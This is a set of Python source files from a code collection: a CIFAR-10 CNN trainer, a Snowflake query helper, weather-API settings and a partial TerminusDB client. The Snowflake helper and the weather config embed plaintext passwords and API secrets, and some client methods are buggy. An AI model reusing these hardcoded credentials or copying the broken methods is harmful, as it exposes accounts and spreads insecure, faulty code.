non_field_errors:\n raise ValidationError(non_field_errors)\n\n\n # If there were no validation errors\n # Prepend <=BSL2 & non-GMM confirmation(s) to comments field for displaying in the LIMS\n\n criteria_confirmations = []\n\n if num_strain_samples > 0 and confirm_strain_bsl2:\n criteria_confirmations.append('Confirmed that strains comply with strain submission criteria')\n if num_enhanced_strain_samples > 0 and confirm_enhanced_strain_bsl2:\n criteria_confirmations.append('Confirmed that enhanced strains comply with strain submission criteria')\n\n # If there are confirmations to add, add them with CRLF line endings as given by the HTML textarea\n if len(criteria_confirmations) > 0:\n criteria_confirmations_str = '\\r\\n'.join(criteria_confirmations)\n if not comments:\n cleaned_data['comments'] = criteria_confirmations_str\n else:\n cleaned_data['comments'] = '{}\\r\\n\\r\\n{}'.format(criteria_confirmations_str, comments)\n\n return cleaned_data\n","sub_path":"source/quote/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":9242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"301598138","text":"import numpy as np\nimport torch\nimport torchvision\nimport torchvision.transforms as transforms\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nimport torch.optim as optim\n\ntransform = transforms.Compose([transforms.ToTensor(), transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\n\ntrain_set = torchvision.datasets.CIFAR10(root='/home/welcome/Downloads/ml_ai_dl', train=True, download=True, transform=transform)\ntest_set = torchvision.datasets.CIFAR10(root='/home/welcome/Downloads/ml_ai_dl', train=False, download=True, transform=transform)\n\ndef get_train_loader(batchsize):\n\ttrain_loader = torch.utils.data.DataLoader(train_set, batch_size=batchsize, shuffle=True, num_workers=2)\n\treturn train_loader\n\n\nclasses = ('plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\n\nclass CNNModel(torch.nn.Module):\n\t\n\t# shape of input x is (batchsize, 3, 32, 32)\n\t\n\tdef __init__(self):\n\t\tsuper(CNNModel, self).__init__()\n\t\t\n\t\t#Input channels = 3, output channels = 6\n\t\tself.conv1 = torch.nn.Conv2d(3, 6, kernel_size=5, stride=1)\n\t\tself.pool = torch.nn.MaxPool2d(kernel_size=2, stride=2)\n\t\t\n\t\tself.conv2 = torch.nn.Conv2d(6, 16, kernel_size=5, stride=1)\n\t\t#400 input features, 120 output features (see sizing flow below)\n\t\tself.drop = torch.nn.Dropout(p=0.3)\n\t\tself.fc1 = torch.nn.Linear(16*5*5, 120)\n\t\tself.fc2 = torch.nn.Linear(120, 84)\n\t\t#64 input features, 10 output features for our 10 defined classes\n\t\tself.fc3 = torch.nn.Linear(84, 10)\n\t\t\n\tdef forward(self, x):\n\t\t#Size changes from (batchsize, 3, 32, 32) to (batchsize, 6, 28, 28)\n\t\tx = self.conv1(x)\n\t\tx = F.relu(x)\n\t\t#Size changes from (batchsize, 6, 28, 28) to (batchsize, 6, 14, 14)\n\t\tx = self.pool(x)\n\t\t#Size changes from (batchsize, 6, 28, 28) to (batchsize, 16, 10, 10)\n\t\tx = self.conv2(x)\n\t\tx = F.relu(x)\n\t\t#Size changes from (batchsize, 16, 10, 10) to (batchsize, 16, 10, 10)\n\t\tx = self.pool(x)\n\t\t#flattening the input from (batchsize, 16, 5, 5) to (batchsize, *)\n\t\tx = x.view(x.shape[0], -1)\n\t\t#Size changes from (batchsize, 400) to (batchsize, 120)\n\t\t#x = self.drop(x)\n\t\tx = F.relu(self.fc1(x))\n\t\t#Size changes from (batchsize, 120) to (batchsize, 84)\n\t\t#x = self.drop(x)\n\t\tx = F.relu(self.fc2(x))\n\t\t#size changes from (batchsize, 84) to (batchsize, 10)\n\t\t#x = self.drop(x)\n\t\tx = self.fc3(x)\n\t\treturn(x)\n\ndef createLossAndOptimizer(net, learning_rate=0.001):\n\t\n\t#Loss function\n\tloss = torch.nn.CrossEntropyLoss()\n\t\n\t#Optimizer\n\toptimizer = optim.Adam(net.parameters(), lr=learning_rate)\n\t\n\treturn(loss, optimizer)\n\n\ndef trainNet(model, batch_size, n_epochs, learning_rate):\n\t#Get training data\n\ttrain_loader = get_train_loader(batch_size)\n\tn_batches = len(train_loader)\n\t\n\t#Create our loss and optimizer functions\n\tloss, optimizer = createLossAndOptimizer(model, learning_rate)\n\t\n\t#Loop for n_epochs\n\tfor epoch in range(n_epochs):\n\t\t\n\t\tfor i, data in enumerate(train_loader, 0):\n\t\t\t\n\t\t\t#Get inputs\n\t\t\timages, labels = data\n\t\t\t\n\t\t\t#Wrap them in a Variable object\n\t\t\timages, labels = Variable(images), Variable(labels)\n\t\t\t\n\t\t\t#Set the parameter gradients to zero\n\t\t\toptimizer.zero_grad()\n\n\t\t\t#Forward propagation \n\t\t\toutputs = model(images) \n\t\t\t\n\t\t\t#Calculating loss with softmax to obtain cross entropy loss\n\t\t\tloss_size = loss(outputs, labels)\n\t\t\n\t\t\t#Backward propation\n\t\t\tloss_size.backward()\n\t\t\n\t\t\t#Updating gradients\n\t\t\toptimizer.step() \n\t\t\t\n\t\t\t#Total number of labels\n\t\t\ttotal = labels.size(0)\n\t\t\n\t\t\t#Obtaining predictions from max value\n\t\t\t_, predicted = torch.max(outputs.data, 1)\n\t\t\n\t\t\t#Calculate the number of correct answers\n\t\t\tcorrect = (predicted == labels).sum().item()\n\t\t\n\t\t\tif (i + 1) % 100 == 0:\n\t\t\t\tprint('Epoch [{}/{}], Step [{}/{}], Loss: {:.4f}, Accuracy: {:.2f}%'\n\t\t\t\t \t\t.format(epoch + 1, n_epochs, i + 1, len(train_loader), loss_size.item(),\n\t\t\t\t\t\t \t\t(correct / total) * 100))\n\t\t\n\tprint(\"Training finished\")\n\n\ttorch.save(model.state_dict(), '/home/welcome/python_files/project/cifarmodel.ckpt')\n\n\nCNN = CNNModel()\ntrainNet(CNN, batch_size=32, n_epochs=20, learning_rate=0.001) \n\n\ndef testing(batchsize):\n\ttest_loader = torch.utils.data.DataLoader(test_set, batch_size=batchsize, shuffle=False, num_workers=2)\n\n\ttesting_model = CNNModel()\n\ttesting_model.load_state_dict(torch.load('/home/welcome/python_files/project/cifarmodel.ckpt'))\n\n\twith torch.no_grad():\n\t\tcorrect = 0\n\t\ttotal = 0\n\t\tfor images, labels in test_loader:\n\t\t\timages, labels = Variable(images), Variable(labels)\n\t\t\toutputs = testing_model(images)\n\t\t\ttotal += labels.size(0)\n\t\t\t_, predicted = torch.max(outputs.data, 1)\n\t\t\tcorrect += (predicted == labels).sum().item()\n\t\tprint(' Accuracy: {:.2f}%'.format((correct / total) * 100))\t\n\ntesting(50)\n","sub_path":"image_classification_cifar10.py","file_name":"image_classification_cifar10.py","file_ext":"py","file_size_in_byte":4654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"42817513","text":"import snowflake.connector\nimport pandas as pd\nfrom collections import defaultdict\nfrom snowflake.sqlalchemy import URL\nfrom sqlalchemy import create_engine\n\n#query: placeholder/description of what the arguement needs to be/ takes the query as an arguement\ndef querySnowflake(query, returnType):\n \n #con = variable short for connection/ 9-14: arguements used to establish a connection. \n con = snowflake.connector.connect(\n user = 'EpocratesComData',\n password = 'Epocrates123!',\n account = 'athenahealth',\n database = 'EPOCRATES_PROD',\n warehouse = 'EPOCRATES_ANALYTICS_PROD')\n\n #con.cursor().execute: how you execute a cursor/cursor: simulates user experience \n con.cursor().execute('USE ROLE EPOC_ANALYTICS_R')\n # con.cursor().execute('USE DATABASE EPOCRATES_PROD')\n con.cursor().execute('USE WAREHOUSE EPOCRATES_ANALYTICS_PROD')\n con.cursor().execute('USE SCHEMA EPOC_ANALYTICS')\n cur = con.cursor()\n\n # use pandas to read SQL Cursor to pandas DF\n resultsDF = pd.read_sql_query(query, con)\n # pandas DF to Dictionary\n resultsDFDict = pd.read_sql_query(query, con).to_dict('records')\n\n #returns a both the Dictionary and dataframe results as Tuple so we can use both if needed\n # print(resultsDFDict)\n if returnType == 'dataFrame':\n return resultsDF\n elif returnType == 'dict':\n return resultsDFDict\n else:\n return resultsDFDict, resultsDF\n\n\ndef writeSnowflake(inputDataFrame,tableName):\n # Fill in your SFlake details here\n engine = create_engine(URL(\n account = 'athenahealth',\n user = 'EpocratesComData',\n password = 'Epocrates123!',\n database = 'EPOCRATES_PROD',\n schema = 'EPOC_ANALYTICS',\n warehouse = 'EPOCRATES_ANALYTICS_PROD',\n role='EPOC_ANALYTICS_RW'\n ))\n # ), echo=True) \n # ^the echo=True function tells us which query is being run on snowflake; needed to share with Raj via JIRA ticket\n # Echo=true: to retrieve creation query \"if_exists=\" (below) should be set to replace. Otherwise, the funciton returns insert queries (not relevant)\n \n print('Engine Created\\n')\n \n connection = engine.connect()\n trans = connection.begin()\n print('Connected to Engine\\n')\n\n\n # THIS LETS US RUN SQL FORMATED QUERIES DIRECTLY TO SNOWFLAKE\n # engine.execute(\"\"\"\n # UPDATE DLA_DASH\n # SET ONE = 54321\n # WHERE ONE = 10\n # \"\"\")\n # trans.commit()\n\n\n\n # THIS WILL TAKE A PANDAS DATA FRAME AND APPEND THE DATA TO AN EXISTING TABLE ON SNOWFLAKE\n inputDataFrame.to_sql('{}'.format(tableName), con=engine, index=False, if_exists='append') #make sure index is False, Snowflake doesnt accept indexes\n #df = data frame; to_sql: takes the argument of a dataframe; when pushing SF data, index ALWAYS false; \n # if_exists= if table exists (options are 'append' or 'replace')\n # possibility to create duplicate rows\n print('Data Pushed To Snowflake')\n \n connection.close()\n engine.dispose()\n\ndef main():\n #\"\"\" allows for formatted queries that have line breaks\n querySnowflake(query)\n writeSnowflake(inputDataFrame,tableName)\n\n#'==' check the string/value of the variable only run query if name \nif __name__ == \"__main__\":\n main()\n\n","sub_path":"Snowflake/query_snowflake.py","file_name":"query_snowflake.py","file_ext":"py","file_size_in_byte":3253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"461864387","text":"\n# Behavioral log values\n#\n\nKEY_L1_ACTIVITY = 'activity_l1'\nKEY_L2_ACTIVITY = 'activity_l2'\n\n# -------------------------\n# \"type\" values\n# -------------------------\nENTRY_TYPE_TA23API = 'TA23API' #'TA23API'\nENTRY_TYPE_DATAMART = 'DATAMART'\nENTRY_TYPE_SYSTEM = 'SYSTEM'\nENTRY_TYPE_UNKNOWN = 'UNKNOWN'\n\nENTRY_TYPES = (ENTRY_TYPE_TA23API,\n ENTRY_TYPE_DATAMART,\n ENTRY_TYPE_SYSTEM)\n\nENTRY_TYPE_CHOICES = ((x, x) for x in ENTRY_TYPES)\n\n# -------------------------\n# \"activity_l1\" values\n# -------------------------\nL1_SYSTEM_ACTIVITY = 'SYSTEM_ACTIVITY'\n\n# -----------------------------------\n# DATA_PREPARATION: L1 & L2\n# -----------------------------------\nL1_DATA_PREPARATION = 'DATA_PREPARATION'\n\nL2_APP_LAUNCH = 'APP_LAUNCH'\nL2_DATA_OPEN = 'DATA_OPEN'\nL2_DATA_EXPLORE = 'DATA_EXPLORE'\nL2_DATA_AUGMENT = 'DATA_AUGMENT'\nL2_DATA_TRANSFORM = 'DATA_TRANSFORM'\n\n\n# -----------------------------------\n# PROBLEM_DEFINITION: L1 & L2\n# -----------------------------------\nL1_PROBLEM_DEFINITION = 'PROBLEM_DEFINITION'\n\nL2_PROBLEM_SPECIFICATION = 'PROBLEM_SPECIFICATION'\n\n# -----------------------------------\n# MODEL_SELECTION: L1 & L2\n# -----------------------------------\nL1_MODEL_SELECTION = 'MODEL_SELECTION'\n\nL2_MODEL_SUMMARIZATION = 'MODEL_SUMMARIZATION'\nL2_MODEL_COMPARISON = 'MODEL_COMPARISON'\nL2_MODEL_EXPLANATION = 'MODEL_EXPLANATION'\nL2_MODEL_EXPORT = 'MODEL_EXPORT'\n\n\nL1_ACTIVITIES = (L1_SYSTEM_ACTIVITY,\n L1_DATA_PREPARATION,\n L1_PROBLEM_DEFINITION,\n L1_MODEL_SELECTION)\n\nL1_ACTIVITY_CHOICES = ((x, x) for x in L1_ACTIVITIES)\n\n# -------------------------\n# \"activity_l2\" values\n# -------------------------\nL2_ACTIVITY_BLANK = '(blank)'\n\nL2_DATA_SEARCH = 'DATA_SEARCH'\nL2_DATA_DOWNLOAD = 'DATA_DOWNLOAD'\n\n\nL2_MODEL_SEARCH = 'MODEL_SEARCH'\n\nL2_PROBLEM_SEARCH_SELECTION = 'PROBLEM_SEARCH_SELECTION'\n\n# -------------------------\n# \"feature_id\" values\n# -------------------------\n# These are no custom: not necessarily in this file\n# and don't conform to other D3M systesm\nFID_START_RAVENS_PEBBLES_PAGE = 'START_RAVENS_PEBBLES_PAGE'\n","sub_path":"tworaven_apps/behavioral_logs/static_vals.py","file_name":"static_vals.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"173671898","text":"#You must change the value of all the following variables, depending on your setup\r\n\r\n#identification keys to use with the AerisWeather API\r\n#string variables\r\n#you can retrieve these information on your member page on Aerisweather: https://www.aerisweather.com/account/member\r\nCLIENT_ID = \"384924U4HIRHSF9ZSFD27398364872646\"\r\nCLIENT_SECRET = \"98U94U294KD93UJOIEZFN9283927398178\"\r\n\r\n#name of your dataset\r\n#string variable\r\n#example for a dataset named \"processed_data.csv\": DATAFILE = \"processed_data.csv\"\r\n#for each participant, the dataset must contain the following information: participant identifier (no specific format), time at which the participant took the study (format must be \"DD/MM/YYYY HH:MM\"), exact location of the participant (format must be \"latitude,longitude\")\r\nDATAFILE = \"processed_data.csv\"\r\n\r\n#in your dataset, name of the column in which is referenced the participant ID of a given participant\r\n#string variable\r\n#example for a dataset in which the participant ID is referenced in the \"participant_id\" column: EXACT_LOCATION_COLUMN = \"participant_id\"\r\nPARTICIPANT_ID_COLUMN = \"participant_id\"\r\n\r\n#in your dataset, name of the column in which is referenced the timestamp of a given participant (time at which the participant took the study, with the following format: \"DD/MM/YYYY HH:MM\")\r\n#string variable\r\n#example for a dataset in which the timestamp is referenced in the \"timestamp\" column: EXACT_LOCATION_COLUMN = \"timestamp\"\r\nTIMESTAMP_COLUMN = \"timestamp\"\r\n\r\n#in your dataset, name of the column in which is referenced the exact location of a given participant, with the following format: \"latitude,longitude\"\r\n#string variable\r\n#example for a dataset in which the exact location is referenced in the \"exact_location\" column: EXACT_LOCATION_COLUMN = \"exact_location\"\r\nEXACT_LOCATION_COLUMN = \"exact_location\"\r\n\r\n\r\n#timezone of the time displayed on your computer\r\n#numerical variable\r\n#example for a computer in Paris: UTC_TIMEZONE = 2\r\n#example for a computer in New-York: UTC_TIMEZONE = -4\r\n#You are capped to a certain number of accesses to the API per day. If you happen to reach the daily limit, the script will be paused until midnight UTC.\r\nUTC_TIMEZONE = 2\r\n\r\n\r\n#year for which you want to collect yearly averages of the climate variables (leave unchanged if you don't want to collect yearly averages)\r\n#string variable\r\n#example: YEAR = \"2020\"\r\nYEAR = \"2020\"\r\n\r\n\r\n#variables of interest for the \"yearly_averages\" mode \r\n#all possible climate variables are displayed here:\r\n#https://www.aerisweather.com/support/docs/api/reference/endpoints/observations-summary/\r\n#if you want to collect climate variables different than those documented below, add/change the values in the following python list accordingly\r\n#note that you must keep the default values if you want to run the \"aerisweather_statscomputing.py\" script.\r\nSUMMARY_FOI = [\"periods.summary.dateTimeISO\",\r\n \"periods.summary.range.maxDateTimeISO\",\r\n \"periods.summary.range.minDateTimeISO\",\r\n \"periods.summary.temp.avgC\",\r\n \"periods.summary.temp.count\",\r\n \"periods.summary.dewpt.avgC\",\r\n \"periods.summary.dewpt.count\",\r\n \"periods.summary.rh.avg\",\r\n \"periods.summary.rh.count\",\r\n \"periods.summary.altimeter.avgMB\",\r\n \"periods.summary.altimeter.count\",\r\n \"periods.summary.pressure.avgMB\",\r\n \"periods.summary.pressure.count\",\r\n \"periods.summary.visibility.avgKM\",\r\n \"periods.summary.visibility.count\",\r\n \"periods.summary.wind.avgKPH\",\r\n \"periods.summary.wind.count\",\r\n \"periods.summary.sky.avg\",\r\n \"periods.summary.sky.count\",\r\n \"profile.elevM\"]\r\n\r\n\r\n#variables of interest for the \"specified_date\" mode\r\n#if you want to collect other climate variables, check this link:\r\n#https://www.aerisweather.com/support/docs/api/reference/endpoints/observations-archive/\r\n#if you want to collect climate variables different than those documented below, add/change the values in the following python list accordingly\r\n#note that you must keep the default values if you want to run the \"aerisweather_statscomputing.py\" script.\r\nARCHIVE_FOI = [\"periods.ob.dateTimeISO\",\r\n \"periods.ob.recDateTimeISO\",\r\n \"periods.ob.tempC\",\r\n \"periods.ob.dewpointC\",\r\n \"periods.ob.humidity\",\r\n \"periods.ob.pressureMB\",\r\n \"periods.ob.altimeterMB\",\r\n \"periods.ob.windSpeedKPH\",\r\n \"periods.ob.visibilityKM\",\r\n \"periods.ob.sky\",\r\n \"periods.profile.elevM\"]","sub_path":"aerisweather_keys.py","file_name":"aerisweather_keys.py","file_ext":"py","file_size_in_byte":4980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"466369445","text":"# woqlClient.py\nfrom .dispatchRequest import DispatchRequest\n\n#from .errorMessage import *\nfrom .connectionConfig import ConnectionConfig\nfrom .connectionCapabilities import ConnectionCapabilities\n\nfrom .const import Const as const\nfrom .errorMessage import ErrorMessage\n#from .errors import (InvalidURIError)\nfrom .errors import *\n\nfrom .documentTemplate import DocumentTemplate\n\nfrom .idParser import IDParser\nimport json\n\n# WOQL client object\n# license Apache Version 2\n# summary Python module for accessing the Terminus DB API\n\n\nclass WOQLClient:\n\n \"\"\"\n The WOQLClient constructor\n\n :param **kwargs Connection arguments used to configure the Client. (db=terminusDBName | server=terminusServerURL | doc=docName | key=apiKey)\n\n \"\"\"\n\n def __init__(self, **kwargs):\n # current conCapabilities context variables\n key = kwargs.get('key')\n self.conConfig = ConnectionConfig(**kwargs)\n self.conCapabilities = ConnectionCapabilities(self.conConfig, key)\n\n\n\n def connect(self, serverURL=None, key=None):\n \"\"\"\n Connect to a Terminus server at the given URI with an API key\n Stores the terminus:ServerCapability document returned\n in the conCapabilities register which stores, the url, key, capabilities,\n and database meta-data for the connected server\n\n If the serverURL argument is omitted,\n self.conConfig.serverURL will be used if present\n or an error will be raise.\n\n Parameters\n ----------\n serverURL : str\n Terminus server URI\n key : str\n API key\n\n Returns\n -------\n dict or raise an InvalidURIError\n\n Examples\n -------\n >>> woql.WOQLClient().connect(serverUrl, key)\n dict\n \"\"\"\n if serverURL:\n self.conConfig.setServer(serverURL)\n\n if key:\n self.conCapabilities.setClientKey(key)\n\n jsonObj = self.dispatch(self.conConfig.serverURL, const.CONNECT, key)\n self.conCapabilities.addConnection(jsonObj)\n return jsonObj\n\n @staticmethod\n def directConnect(serverURL, key):\n \"\"\"\n connect directly without creating a new class instance\n\n Parameters\n ----------\n serverURL : str\n Terminus server URI\n key : str\n API key\n\n Returns\n -------\n dict or raise an InvalidURIError\n \"\"\"\n idParser = IDParser()\n idParser.parseServerURL(serverURL)\n return DispatchRequest.sendRequestByAction(idParser.serverURL, const.CONNECT, key)\n\n def createDatabase(self, dbID, label, key=None, **kwargs):\n \"\"\"\n Create a Terminus Database by posting\n a terminus:Database document to the Terminus Server\n\n Parameters\n ----------\n dbID : str\n ID of the specific database to create\n label : str\n Terminus label\n key : str, optional\n you can omit the key if you have set it before\n kwargs\n Optional arguments that ``createDatabase`` takes\n\n Returns\n -------\n dict\n\n Examples\n --------\n WOQLClient(server=\"http://localhost:6363\").createDatabase(\"someDB\", \"Database Label\", \"password\")\n \"\"\"\n self.conConfig.setDB(dbID)\n createDBTemplate = DocumentTemplate.createDBTemplate(\n self.conConfig.serverURL, self.conConfig.dbID, label, **kwargs)\n #after create db the server could send back the capabilities of the new db, we can add the new capability at the\n #capabilities list\n return self.dispatch(self.conConfig.dbURL(), const.CREATE_DATABASE, key, createDBTemplate)\n\n @staticmethod\n def directCreateDatabase(dbURL, label, key, **kwargs):\n \"\"\"Create Terminus Database with settings\n\n Parameters\n ----------\n dbURL : str\n TerminusDB full URL like http://localhost:6363/myDB\n label : str\n the terminus db title\n key : str\n the server API key\n kwargs\n Optional arguments that ``createDatabase`` takes\n\n Returns\n -------\n dict\n \"\"\"\n idParser = IDParser()\n idParser.parseDBURL(dbURL)\n createDBTemplate = DocumentTemplate.createDBTemplate(\n idParser.serverURL, idParser.dbID, label, **kwargs)\n DispatchRequest.sendRequestByAction(\n idParser.dbURL(), const.CREATE_DATABASE, key, createDBTemplate)\n\n def deleteDatabase(self, dbID, key=None):\n \"\"\"Delete a TerminusDB database\n\n Parameters\n ----------\n dbID : str\n ID of the database to delete\n key : str, optional\n you need the key if you didn't set before\n\n Returns\n -------\n dict\n\n Examples\n -------\n >>> WOQLClient(server=\"http://localhost:6363\").deleteDatabase(\"someDBToDelete\", \"password\")\n \"\"\"\n self.conConfig.setDB(dbID)\n jsonResponse = self.dispatch(\n self.conConfig.dbURL(), const.DELETE_DATABASE, key)\n self.conCapabilities.removeDB()\n return jsonResponse\n\n @staticmethod\n def directDeleteDatabase(dbURL, key):\n \"\"\"Delete a TerminusDB with settings\n\n Parameters\n ----------\n dbURL : str\n TerminusDB full URL like http://localhost:6363/myDB\n key : str\n the server API key\n \"\"\"\n idParser = IDParser()\n idParser.parseDBURL(dbURL)\n return DispatchRequest.sendRequestByAction(\n idParser.dbURL(), const.DELETE_DATABASE, key)\n\n def getSchema(self, dbID=None, key=None, options={\"terminus:encoding\": \"terminus:turtle\"}):\n \"\"\"Retrieves the schema of the specified database\n\n opts.format defines which format is requested, default is turtle(*json / turtle)\n\n Parameters\n ----------\n dbId : str\n TerminusDB Id or omitted (get last select database)\n key : str\n the server API key\n options : dict\n options object\n\n Returns\n -------\n str or dict\n \"\"\"\n if (dbID):\n self.conConfig.setDB(dbID)\n\n return self.dispatch(self.conConfig.schemaURL(), const.GET_SCHEMA, key, options)\n\n @staticmethod\n def directGetSchema(dbURL, key, options={\"terminus:encoding\": \"terminus:turtle\"}):\n \"\"\"Retrieves the schema of the specified database with settings\n\n opts.format defines which format is requested, default is turtle(*json / turtle)\n\n Parameters\n ----------\n dbId : str\n TerminusDB Id or omitted (get last select database)\n key : str\n the server API key\n options : dict\n options object\n\n Returns\n -------\n str or dict\n \"\"\"\n idParser = IDParser()\n idParser.parseDBURL(dbURL)\n return DispatchRequest.sendRequestByAction(\n idParser.schemaURL(), const.GET_SCHEMA, key, options)\n\n def updateSchema(self, docObj, dbID=None, key=None, opts={\"terminus:encoding\": \"terminus:turtle\"}):\n \"\"\"Updates the Schema of the specified database\n\n opts.format is used to specify which format is being used (*json / turtle)\n\n Parameters\n ----------\n docObj : dict\n valid owl ontology in json-ld or turtle format\n dbid : str\n TerminusDB Id or omitted\n key : str\n API key\n opts : dict\n options object\n\n Returns\n -------\n dict\n \"\"\"\n if (dbID):\n self.conConfig.setDB(dbID)\n docObj = DocumentTemplate.formatDocument(\n docObj, False, opts)\n return self.dispatch(self.conConfig.schemaURL(), const.UPDATE_SCHEMA, key, docObj)\n\n @staticmethod\n def directUpdateSchema(dbURL, docObj, key, opt={\"terminus:encoding\": \"terminus:turtle\"}):\n \"\"\"Updates the Schema of the specified database with settings\n\n opts.format is used to specify which format is being used (*json / turtle)\n\n Parameters\n ----------\n dbURL : str\n a valid TerminusDB full URL\n docObj : dict\n valid owl ontology in json-ld or turtle format\n key : str\n API key\n opts : dict\n options object\n\n Returns\n -------\n dict\n \"\"\"\n idParser = IDParser()\n idParser.parseDBURL(dbURL)\n docObj = DocumentTemplate.formatDocument(\n docObj, False, opts)\n return DispatchRequest.sendRequestByAction(\n idParser.schemaURL(), const.UPDATE_SCHEMA, key, docObj)\n\n def createDocument(self, docObj, documentID, dbID=None, key=None):\n \"\"\"Creates a new document in the specified database\n\n Parameters\n ----------\n docObj : dict\n a valid document in json-ld\n documentID : str\n a valid Terminus document id\n dbId : str\n a valid TerminusDB id\n key : str, optional\n API key\n Returns\n -------\n dict\n \"\"\"\n if(dbID):\n self.conConfig.setDB(dbID)\n self.conConfig.setDocument(documentID)\n docObj = DocumentTemplate.formatDocument(\n doc, None, None, self.conConfig.docURL())\n return self.dispatch(self.conConfig.docURL(), const.CREATE_DOCUMENT, key, docObj)\n\n @staticmethod\n def directCreateDocument(docObj, documentID, dbURL, key):\n \"\"\"Creates a new document in the specified database\n\n Parameters\n ----------\n docObj : dict\n a valid document in json-ld\n documentID : str\n a valid Terminus document id\n dbURL : str\n a valid TerminusDB full URL\n key : str, optional\n API key\n\n Returns\n -------\n dict or raise an InvalidURIError\n \"\"\"\n idParser = IDParser()\n idParser.parseDBURL(dbURL)\n idParser.parseDocumentID(documentID)\n\n docObj = DocumentTemplate.formatDocument(doc, None, None, idParser.docURL())\n return DispatchRequest.sendRequestByAction(idParser.docURL(), const.CREATE_DOCUMENT, key, docObj)\n\n def getDocument(self, documentID, dbID=None, key=None, opts={\"terminus:encoding\": \"terminus:frame\"}):\n \"\"\"Retrieves a document from the specified database\n\n Parameters\n ----------\n documentID : str\n a valid Terminus document id\n dbId : str\n a valid TerminusDB id\n key : str, optional\n API key\n opts : dict\n options object\n\n Returns\n -------\n dict\n \"\"\"\n if(dbID):\n self.conConfig.setDB(dbID)\n\n self.conConfig.setDocument(documentID)\n return self.dispatch(self.conConfig.docURL(), const.GET_DOCUMENT, key, opts)\n\n @staticmethod\n def directGetDocument(documentID, dbURL, key, opts={\"terminus:encoding\": \"terminus:frame\"}):\n \"\"\"Retrieves a document from the specified database with URL\n\n Parameters\n ----------\n documentID : str\n a valid Terminus document id\n dbURL : str\n a valid TerminusDB full URL\n key : str, optional\n API key\n opts : dict\n options object\n\n Returns\n -------\n dict or raise an InvalidURIError\n \"\"\"\n idParser = IDParser()\n idParser.parseDBURL(dbURL)\n idParser.parseDocumentID(documentID)\n return DispatchRequest.sendRequestByAction(idParser.docURL(), const.GET_DOCUMENT, key, opts)\n\n def updateDocument(self, documentID, docObj, dbID=None, key=None):\n \"\"\"\n Updates a document in the specified database with a new version\n\n Parameters\n ----------\n documentID : str\n a valid Terminus document id\n docObj : dict\n a valid document in json-ld\n dbId : str\n a valid TerminusDB id\n key : str, optional\n API key\n\n Returns\n -------\n dict\n \"\"\"\n if(dbID):\n self.conConfig.setDB(dbID)\n\n self.conConfig.setDocument(documentID)\n docObj = DocumentTemplate.formatDocument(\n docObj, None, None, self.conConfig.docURL())\n return self.dispatch(self.conConfig.docURL(), const.UPDATE_DOCUMENT, key, docObj)\n\n @staticmethod\n def directUpdateDocument(documentID, dbURL, key, docObj):\n \"\"\"\n Updates a document in the specified database with URL\n\n Parameters\n ----------\n documentID : str\n a valid Terminus document id\n dbURL : str\n a valid TerminusDB full URL\n key : str, optional\n API key\n docObj : dict\n a valid document in json-ld\n\n Returns\n -------\n dict or raise an InvalidURIError\n \"\"\"\n idParser = IDParser()\n idParser.parseDBURL(dbURL)\n idParser.parseDocumentID(documentID)\n docObj = DocumentTemplate.formatDocument(\n docObj, None, None, idParser.docURL())\n return DispatchRequest.sendRequestByAction(idParser.docURL(), const.GET_DOCUMENT, key, docObj)\n\n def deleteDocument(self, documentID, dbID=None, key=None):\n \"\"\"\n Deletes a document from the specified database\n\n Parameters\n ----------\n documentID : str\n a valid Terminus document id\n dbId : str\n a valid TerminusDB id\n key : str, optional\n API key\n\n Returns\n -------\n dict\n \"\"\"\n if(dbID):\n self.conConfig.setDB(dbID)\n\n self.conConfig.setDocument(documentID)\n\n return self.dispatch(self.conConfig.docURL(), const.DELETE_DOCUMENT, key)\n\n @staticmethod\n def directDeleteDocument(self, documentID, dbURL, key):\n \"\"\"\n Deletes a document from the specified database with URL\n\n Parameters\n ----------\n documentID : str\n a valid Terminus document id\n dbURL : str\n a valid TerminusDB full URL\n key : str, optional\n API key\n\n Returns\n -------\n dict or raise an InvalidURIError\n \"\"\"\n idParser = IDParser()\n idParser.parseDBURL(dbURL)\n idParser.parseDocumentID(documentID)\n\n return DispatchRequest.sendRequestByAction(idParser.docURL(), const.DELETE_DOCUMENT, key)\n\n def select(self, woqlQuery, dbID=None, key=None,fileList=None):\n \"\"\"\n Executes a read-only WOQL query on the specified database and returns the results\n\n Parameters\n ----------\n woqlQuery : WOQLQuery object\n woql query select statement\n dbId : str\n a valid TerminusDB id\n key : str, optional\n API key\n fileList : list, optional\n List of files that are needed for the query\n\n Returns\n -------\n dict\n \"\"\"\n if(dbID):\n self.conConfig.setDB(dbID)\n\n payload = {'terminus:query': json.dumps(woqlQuery)}\n if type(fileList) == dict:\n payload.update(fileList);\n\n return self.dispatch(self.conConfig.queryURL(), const.WOQL_SELECT, key, payload)\n\n @staticmethod\n def directSelect(woqlQuery, dbURL, key, fileList=None):\n \"\"\"\n Static function that executes a read-only WOQL query on the specified database\n and returns the results\n\n Parameters\n ----------\n woqlQuery : WOQLQuery object\n woql query select statement\n dbId : str\n a valid full TerminusDB database URL\n key : str, optional\n API key\n fileList : list, optional\n List of files that are needed for the query\n\n Returns\n -------\n dict or raise an InvalidURIError\n \"\"\"\n idParser = IDParser()\n idParser.parseDBURL(dbURL)\n\n payload = {'terminus:query': json.dumps(woqlQuery)}\n if type(fileList) == dict:\n payload.update(fileList);\n return DispatchRequest.sendRequestByAction(idParser.queryURL(), const.WOQL_SELECT, key, payload)\n\n def update(self, woqlQuery, dbID=None, key=None ,fileList=None):\n \"\"\"\n Executes a WOQL query on the specified database which updates the state and returns the results\n\n Parameters\n ----------\n woqlQuery : WOQLQuery object\n woql query select statement\n dbId : str\n a valid TerminusDB database ID\n key : str, optional\n API key\n fileList : list, optional\n List of files that are needed for the query\n\n Returns\n -------\n dict\n \"\"\"\n if(dbID):\n self.conConfig.setDB(dbID)\n # raise 